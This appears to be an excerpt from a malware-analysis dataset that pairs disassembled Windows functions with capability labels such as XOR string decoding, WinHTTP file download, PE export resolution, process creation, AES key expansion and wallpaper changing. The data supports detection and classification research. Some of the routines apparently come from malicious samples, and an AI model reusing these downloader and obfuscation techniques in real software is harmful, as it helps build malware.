joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e1c
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, 0x40a360
push edi
xor bl, bl
call dword [sym.imp.SHLWAPI.dll_PathSkipRootW]
mov esi, eax
test esi, esi
jne 0x405e36
mov esi, edi
movzx eax, word [esi]
cmp eax, 0x5c
je 0x405e48
cmp eax, 0x2f
je 0x405e48
test ax, ax
jne 0x405e74
mov ebp, eax
xor eax, eax
push edi
mov word [esi], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x405e68
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x405e6a
test al, 0x10
je 0x405e7b
test bp, bp
je 0x405e79
mov word [esi], bp
add esi, 2
jmp 0x405e36
mov bl, 1
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
ret

Function at 0x4030e4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x410008], 0x8088405
inc edx
mov dword [ebx + 0x410008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40a91f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00404914
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call fcn.004067e4
mov edi, eax
cmp edi, 0x104
jbe 0x40a942
mov eax, edi
add eax, eax
call fcn.00402e04
mov esi, eax
jmp 0x40a944
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call fcn.004067e4
push edi
push esi
call fcn.0040687c
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40a97d
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40a967
mov eax, esp
cmp esi, eax
je 0x40a98a
mov eax, esi
call fcn.00402e20
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40a9c4
cmp bl, 0
je 0x40a9c0
cmp bl, 0x41
jl 0x40a9bb
cmp bl, 0x5a
jg 0x40a9bb
or bl, 0x20
xor al, bl
inc esi
jmp 0x40a99f
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40a904

Function at 0x40c5a0
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x415d98
mov eax, esi
mov edx, 8
test al, 1
je 0x40c5bc
shr eax, 1
xor eax, 0xedb88320
jmp 0x40c5be
shr eax, 1
dec edx
jne 0x40c5af
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40c5a8
pop esi
ret

Function at 0x40c5eb
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x415d94], 0
jne 0x40c5f7
call fcn.0040c5a0
push 1
push 0x415d94
call fcn.004066b0
mov eax, edi
test esi, esi
je 0x40c622
mov edx, ebx
and edx, 0xff
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x415d98]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x40c5fd
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x402f30
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00403490
call fcn.00403130
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x402f68
jmp 0x403006
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x402f67
cmp cl, 0x22
je 0x402fc0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x402fe0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x402fe0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x402fa0
jmp 0x402fe0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x402fc0
cmp cl, 0x22
je 0x403042
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x403000
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x402ff0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x403024
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call fcn.0040136c
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x402fe0
Function at 0x10001da0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x10], 0
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
jb 0x10001df3
push edi
mov edi, dword [ebp + 0xc]
ja 0x10001dbe
test edi, edi
je 0x10001df2
push ebx
mov ebx, dword [ebp - 4]
push esi
mov esi, dword [ebp - 8]
mov eax, dword [ebp + 0x14]
mov ecx, esi
mov edx, dword [ebp + 0x18]
and ecx, 7
shl ecx, 3
call fcn.10009b80
mov ecx, dword [ebp + 8]
xor byte [esi + ecx], al
add esi, 1
adc ebx, 0
cmp ebx, dword [ebp + 0x10]
jb 0x10001dc6
ja 0x10001df0
cmp esi, edi
jb 0x10001dc6
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10004150
Capabilities:
Prepare http request
Receive http response
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc20
mov eax, dword [0x10011484]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xc0c]
push 0x1000e46c
push esi
push eax
mov dword [ebp - 0xc0c], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
jne 0x1000437f
cmp dword [ebp - 0xc0c], eax
je 0x1000437f
push ebx
push edi
push eax
push 0x1bb
push 0x10011e48
call fcn.10004480
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, eax
mov dword [ebp - 0xc1c], ebx
test ebx, ebx
je 0x1000436c
lea ecx, [ebp - 0xc0d]
call fcn.10003ef0
mov esi, eax
cmp byte [esi + 0x11], 0
je 0x100041f2
push 0xebe125a1
push 0x5155bda1
push 0
push 0x11
push esi
call fcn.10001da0
add esp, 0x14
mov byte [esi + 0x11], 0
call fcn.100043a0
push eax
push esi
lea eax, [ebp - 0x404]
push 0x400
push eax
call fcn.100032f0
push 0x3ff
lea eax, [ebp - 0x404]
push eax
push 0x400
lea eax, [ebp - 0xc04]
push eax
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
add esp, 0x24
lea eax, [ebp - 0xc04]
push 0x800000
push 0
push 0
push 0
push eax
push 0x1000e498
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x1000436c
push 4
lea eax, [ebp - 0xc18]
mov dword [ebp - 0xc18], 0x3300
push eax
push 0x1f
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
je 0x1000436c
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1000436c
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1000436c
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea eax, [ebp - 0xc08]
mov dword [ebp - 0xc08], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1000436c
push dword [ebp - 0xc08]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x1000436c
lea eax, [ebp - 0xc14]
mov dword [ebp - 0xc14], 0
push eax
push dword [ebp - 0xc08]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x10004366
push dword [ebp - 0xc0c]
push 1
push dword [ebp - 0xc14]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call ebx
add esp, 0x14
cmp dword [ebp - 0xc08], 0
ja 0x100042b0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
push dword [ebp - 0xc1c]
call esi
push dword [ebp - 0xc0c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009b64
mov esp, ebp
pop ebp
ret
push esi
call ebx
add esp, 4
pop edi
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009b64
mov esp, ebp
pop ebp
ret
push esi
push str.Could_not_open_file_for_writing:__s_n
call fcn.10005580
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
xor eax, eax
pop esi
call fcn.10009b64
mov esp, ebp
pop ebp
ret
Function at 0x10004480
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10011484]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10011f00]
test eax, eax
jne 0x1000452c
push esi
lea ecx, [ebp - 0x1d]
call fcn.10003800
mov esi, eax
cmp byte [esi + 0xc], 0
je 0x100044c9
push 0xeb995df1
push 0xff715fd1
push 0
push 0xc
push esi
call fcn.10001da0
add esp, 0x14
mov byte [esi + 0xc], 0
lea eax, [esi + 0xb]
xor ecx, ecx
lea edx, [ebp - 0x38]
cmp edx, eax
ja 0x100044dc
lea eax, [ebp - 0x22]
cmp eax, esi
jae 0x100044f2
movq xmm0, qword [esi]
mov ecx, 8
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [ebp - 0x38], xmm0
movsx ax, byte [ecx + esi]
mov word [ebp + ecx*2 - 0x38], ax
inc ecx
cmp ecx, 0xc
jb 0x100044f2
movups xmm0, xmmword [ebp - 0x38]
push 0
push 0
push 0
movups xmmword [ebp - 0x1c], xmm0
lea eax, [ebp - 0x1c]
movq xmm0, qword [ebp - 0x28]
push 0
push eax
movq qword [ebp - 0xc], xmm0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [0x10011f00], eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10009b64
mov esp, ebp
pop ebp
ret
Function at 0x10005790
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, 0xaaaaaaab
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
lea ecx, [ebx + 2]
mul ecx
shr edx, 1
lea esi, [edx*4 + 1]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, dword [ebp + 8]
add esp, 4
mov dword [edi], eax
xor eax, eax
mov dword [edi + 4], esi
xor esi, esi
test ebx, ebx
je 0x1000592c
mov edx, dword [ebp + 0xc]
mov cl, byte [edx]
dec ebx
mov byte [ebp + esi - 8], cl
inc edx
mov cl, byte [ebp - 6]
inc esi
mov ch, byte [ebp - 7]
mov byte [ebp - 1], cl
mov cl, byte [ebp - 8]
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0xc], edx
mov byte [ebp - 3], ch
mov byte [ebp - 4], cl
cmp esi, 3
jne 0x1000586f
mov esi, dword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov bl, cl
mov dl, cl
and bl, 3
mov cl, ch
shl bl, 4
shr cl, 4
mov bh, ch
add bl, cl
shr dl, 2
mov byte [ebp - 2], bl
and bh, 0xf
mov byte [ebp - 0xb], bl
mov bl, byte [ebp - 1]
mov cl, bl
shl bh, 2
shr cl, 6
and bl, 0x3f
add bh, cl
mov byte [ebp - 0xc], dl
movzx ecx, dl
mov edx, dword [edi]
mov byte [ebp - 0xa], bh
mov byte [ebp - 9], bl
mov cl, byte [ecx + esi]
mov byte [eax + edx], cl
movzx ecx, byte [ebp - 2]
mov edx, dword [edi]
mov cl, byte [ecx + esi]
mov byte [edx + eax + 1], cl
mov edx, dword [edi]
movzx ecx, bh
mov cl, byte [ecx + esi]
mov byte [edx + eax + 2], cl
mov edx, dword [edi]
movzx ecx, bl
mov ebx, dword [ebp + 0x10]
mov cl, byte [ecx + esi]
mov byte [edx + eax + 3], cl
add eax, 4
mov edx, dword [ebp + 0xc]
xor esi, esi
test ebx, ebx
jne 0x100057d0
mov dword [ebp + 0x10], esi
test esi, esi
je 0x1000592c
mov ecx, esi
cmp esi, 3
jge 0x100058a8
cmp ecx, 3
jae 0x1000593b
mov byte [ebp + ecx - 8], 0
inc ecx
cmp ecx, 3
jl 0x1000588c
mov ch, byte [ebp - 6]
mov dl, byte [ebp - 7]
mov bl, byte [ebp - 8]
jmp 0x100058b1
mov dl, byte [ebp - 3]
mov bl, byte [ebp - 4]
mov ch, byte [ebp - 1]
mov cl, bl
xor edi, edi
shr cl, 2
and bl, 3
mov byte [ebp - 0xc], cl
mov cl, dl
shr cl, 4
and dl, 0xf
shl bl, 4
add bl, cl
shl dl, 2
mov cl, ch
mov byte [ebp - 0xb], bl
shr cl, 6
and ch, 0x3f
add dl, cl
mov byte [ebp - 9], ch
lea ecx, [esi + 1]
mov byte [ebp - 0xa], dl
mov dword [ebp - 8], ecx
test ecx, ecx
jle 0x1000590b
mov ebx, dword [ebp + 8]
mov esi, dword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx ecx, byte [ebp + edi - 0xc]
inc edi
mov edx, dword [ebx]
mov cl, byte [ecx + esi]
mov byte [eax + edx], cl
inc eax
cmp edi, dword [ebp - 8]
jl 0x100058f4
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
cmp esi, 3
jge 0x1000592c
mov edx, 3
sub edx, esi
nop word [eax + eax]
mov ecx, dword [edi]
mov byte [eax + ecx], 0x3d
inc eax
sub edx, 1
jne 0x10005920
mov ecx, dword [edi]
mov byte [eax + ecx], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10009cc1
int3
Function at 0x10006720
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
xor esi, esi
mov ecx, dword [edi + 0x3c]
mov ebx, dword [ecx + edi + 0x78]
mov ecx, dword [ebx + edi + 0x20]
add ebx, edi
add ecx, edi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp - 8], eax
mov eax, dword [ebx + 0x24]
add eax, edi
mov dword [ebp - 4], eax
cmp dword [ebx + 0x14], esi
jbe 0x1000678f
nop dword [eax]
mov eax, dword [ecx + esi*4]
add eax, edi
push eax
call dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x10006786
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
movzx ecx, word [ecx + esi*2]
mov ecx, dword [edx + ecx*4]
add ecx, edi
mov dword [eax*4 + 0x10011f3c], ecx
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebx + 0x14]
jb 0x10006760
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008090
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
mov eax, dword [0x10011484]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
xor esi, esi
mov dword [ebp - 0x618], eax
push 0x1000e370
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10008138
lea ebx, [ebp - 0x60c]
nop dword [eax]
cmp esi, 0xff
jae 0x10008234
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100080e1
sub ecx, edx
mov dword [ebp - 0x614], ecx
lea eax, [ecx*2 + 2]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [ebp - 0x614]
push ecx
push edi
inc ecx
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x614]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
push dword [ebp - 0x618]
inc esi
add ebx, 4
push 0x1000e370
push 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
mov edi, eax
add esp, 0x24
test edi, edi
jne 0x100080d0
mov dword [ebp + esi*4 - 0x60c], 0
push pe_nt_image_headers32
lea eax, [ebp - 0x204]
mov dword [ebp - 0x20c], 0x3f005c
push eax
push dword [0x1000e6c0]
mov dword [ebp - 0x208], 0x5c003f
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x1000818d
lea eax, [ebp - 0x60c]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.10007b90
add esp, 8
mov ebx, eax
mov ecx, dword [ebp - 0x60c]
xor esi, esi
test ecx, ecx
je 0x100081b4
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
push ecx
call edi
lea esi, [esi + 1]
add esp, 4
mov ecx, dword [ebp + esi*4 - 0x60c]
test ecx, ecx
jne 0x100081a0
lea ecx, [ebp - 0x60d]
call fcn.10007350
mov esi, eax
cmp byte [esi + 0x13], 0
je 0x100081e2
push 0x3ffb1c5
push 0x5dad8b05
push 0
push 0x13
push esi
call fcn.10001da0
add esp, 0x14
mov byte [esi + 0x13], 0
push ebx
push esi
call fcn.10004650
add esp, 8
lea ecx, [ebp - 0x60d]
call fcn.10006d30
mov esi, eax
cmp byte [esi + 0x10], 0
je 0x1000821a
push 0x77c18dbd
push 0x1df3eda3
push 0
push 0x10
push esi
call fcn.10001da0
add esp, 0x14
mov byte [esi + 0x10], 0
push esi
call fcn.10005470
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10009b64
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x60d]
mov dword [ebx], 0
call fcn.10007720
mov edi, eax
cmp byte [edi + 0x1b], 0
je 0x10008268
push 0x3529c7ff
push 0xbfa76163
push 0
push 0x1b
push edi
call fcn.10001da0
add esp, 0x14
mov byte [edi + 0x1b], 0
push esi
push edi
call fcn.10004650
add esp, 8
jmp 0x10008143
Function at 0x10008280
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0x44
push esi
lea ecx, [ebp - 1]
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movups xmmword [ebp - 0x14], xmm0
call fcn.10006ea0
mov esi, eax
cmp byte [esi + 0x1b], 0
je 0x100082e8
push 0xc3054b13
push 0xf12f5bbb
push 0
push 0x1b
push esi
call fcn.10001da0
add esp, 0x14
mov byte [esi + 0x1b], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0xc000200
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10008345
lea ecx, [ebp - 1]
call fcn.100074d0
mov esi, eax
cmp byte [esi + 0x1b], 0
je 0x10008380
push 0x834d6f55
push 0x6d4557cd
push 0
push 0x1b
push esi
call fcn.10001da0
add esp, 0x14
mov byte [esi + 0x1b], 0
push esi
call fcn.10005470
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
lea ecx, [ebp - 1]
call fcn.10007290
mov esi, eax
cmp byte [esi + 0x16], 0
je 0x10008380
push 0xaf2bbdcf
push 0xdd8b63c7
push 0
push 0x16
push esi
call fcn.10001da0
mov byte [esi + 0x16], 0
add esp, 0x14
push esi
call fcn.10005470
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10008390
Capabilities:
Change the wallpaper
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10011484]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x109]
call fcn.10006de0
mov esi, eax
cmp byte [esi + 0x14], 0
je 0x100083e4
push 0xc33bf109
push 0x534f19bb
push 0
push 0x14
push esi
call fcn.10001da0
add esp, 0x14
mov byte [esi + 0x14], 0
push esi
lea eax, [ebp - 0x108]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [ebp - 0x108]
push eax
call fcn.10004150
add esp, 0x10
test eax, eax
jne 0x1000843b
lea ecx, [ebp - 0x109]
call fcn.10007100
mov esi, eax
cmp byte [esi + 0x1a], 0
je 0x100084a7
push 0x9cfcb1b
push 0xf353d1c7
push 0
push 0x1a
push esi
call fcn.10001da0
mov byte [esi + 0x1a], 0
jmp 0x100084a4
push 3
lea eax, [ebp - 0x108]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
lea ecx, [ebp - 0x109]
test eax, eax
jne 0x1000847f
call fcn.10007660
mov esi, eax
cmp byte [esi + 0x19], 0
je 0x100084a7
push 0x550f8987
push 0x2b936d73
push 0
push 0x19
push esi
call fcn.10001da0
mov byte [esi + 0x19], 0
jmp 0x100084a4
call fcn.10007410
mov esi, eax
cmp byte [esi + 0x17], 0
je 0x100084a7
push 0x81d52395
push 0x1f2d1705
push 0
push 0x17
push esi
call fcn.10001da0
mov byte [esi + 0x17], 0
add esp, 0x14
push esi
call fcn.10005470
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop esi
call fcn.10009b64
mov esp, ebp
pop ebp
ret
Function at 0x100087b0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
movzx eax, byte [esi]
mov byte [edx], al
movzx eax, byte [esi + 1]
mov byte [edx + 1], al
movzx eax, byte [esi + 2]
mov byte [edx + 2], al
movzx eax, byte [esi + 3]
mov byte [edx + 3], al
movzx eax, byte [esi + 4]
mov byte [edx + 4], al
movzx eax, byte [esi + 5]
mov byte [edx + 5], al
movzx eax, byte [esi + 6]
mov byte [edx + 6], al
movzx eax, byte [esi + 7]
mov byte [edx + 7], al
movzx eax, byte [esi + 8]
mov byte [edx + 8], al
movzx eax, byte [esi + 9]
mov byte [edx + 9], al
movzx eax, byte [esi + 0xa]
mov byte [edx + 0xa], al
movzx eax, byte [esi + 0xb]
mov byte [edx + 0xb], al
movzx eax, byte [esi + 0xc]
mov byte [edx + 0xc], al
movzx eax, byte [esi + 0xd]
mov byte [edx + 0xd], al
movzx eax, byte [esi + 0xe]
mov byte [edx + 0xe], al
movzx eax, byte [esi + 0xf]
mov byte [edx + 0xf], al
movzx eax, byte [esi + 0x10]
mov byte [edx + 0x10], al
movzx eax, byte [esi + 0x11]
mov byte [edx + 0x11], al
movzx eax, byte [esi + 0x12]
mov byte [edx + 0x12], al
movzx eax, byte [esi + 0x13]
mov byte [edx + 0x13], al
movzx eax, byte [esi + 0x14]
mov byte [edx + 0x14], al
movzx eax, byte [esi + 0x15]
mov byte [edx + 0x15], al
movzx eax, byte [esi + 0x16]
mov byte [edx + 0x16], al
movzx eax, byte [esi + 0x17]
mov byte [edx + 0x17], al
movzx eax, byte [esi + 0x18]
mov byte [edx + 0x18], al
movzx eax, byte [esi + 0x19]
mov byte [edx + 0x19], al
movzx eax, byte [esi + 0x1a]
mov byte [edx + 0x1a], al
movzx eax, byte [esi + 0x1b]
mov byte [edx + 0x1b], al
movzx eax, byte [esi + 0x1c]
mov byte [edx + 0x1c], al
lea eax, [edx + 0x1d]
movzx ecx, byte [esi + 0x1d]
mov byte [eax], cl
movzx ecx, byte [esi + 0x1e]
mov byte [edx + 0x1e], cl
movzx ecx, byte [esi + 0x1f]
mov esi, 8
mov byte [edx + 0x1f], cl
mov cl, byte [eax + 1]
mov edi, esi
mov dh, byte [eax + 2]
mov bl, byte [eax - 1]
mov bh, byte [eax]
mov byte [ebp - 1], cl
mov byte [ebp - 2], dh
and edi, 7
jne 0x100088f5
movzx ecx, cl
movzx edx, bh
mov bh, byte [ecx + str.cw]
movzx ecx, byte [ebp - 2]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 1], cl
movzx ecx, bl
mov cl, byte [ecx + str.cw]
mov byte [ebp - 2], cl
mov ecx, esi
shr ecx, 3
mov bl, byte [ecx + 0x1000ea10]
xor bl, byte [edx + str.cw]
mov dh, byte [ebp - 2]
jmp 0x10008924
cmp edi, 4
jne 0x10008924
mov dl, byte [ebp - 1]
movzx ecx, bl
mov bl, byte [ecx + str.cw]
movzx ecx, bh
mov bh, byte [ecx + str.cw]
movzx ecx, dl
mov cl, byte [ecx + str.cw]
mov byte [ebp - 1], cl
movzx ecx, dh
mov dh, byte [ecx + str.cw]
movzx ecx, byte [eax - 0x1d]
inc esi
mov dl, byte [ebp - 1]
xor cl, bl
mov byte [eax + 3], cl
movzx ecx, byte [eax - 0x1c]
xor cl, bh
mov byte [eax + 4], cl
movzx ecx, byte [eax - 0x1b]
xor cl, dl
mov byte [eax + 5], cl
movzx ecx, byte [eax - 0x1a]
xor cl, dh
mov byte [eax + 6], cl
add eax, 4
cmp esi, 0x3c
jb 0x100088a2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404350
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor eax, eax
cmp dword [esp + 0x20], 0
je 0x404440
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x404440
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x40439a
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x4043a1
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x404380
jmp 0x4043a3
mov esi, 0x1505
jmp 0x4043a3
mov esi, ecx
mov ecx, dword [esp + 0x20]
mov ebx, dword [ecx + 0x20]
mov edx, ebx
sub edx, 1
jb 0x404440
mov ecx, esi
not ecx
or edx, ecx
mov ecx, ebx
xor ecx, 1
mov eax, ebx
and eax, 0xfffffffe
add eax, eax
sub eax, ecx
mov dword [esp + 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
lea ebp, [esi + edx]
inc ebp
jmp 0x4043e4
inc ebp
dec ebx
je 0x40443e
mov eax, ebp
and eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x40443e
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x4043e0
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp], eax
push eax
call fcn.0040c790
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x4043e0
push dword [esp + 0x28]
push dword [esp + 4]
push dword [esp + 0x2c]
call fcn.0040c7b0
mov ecx, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
jne 0x4043e0
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x404440
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret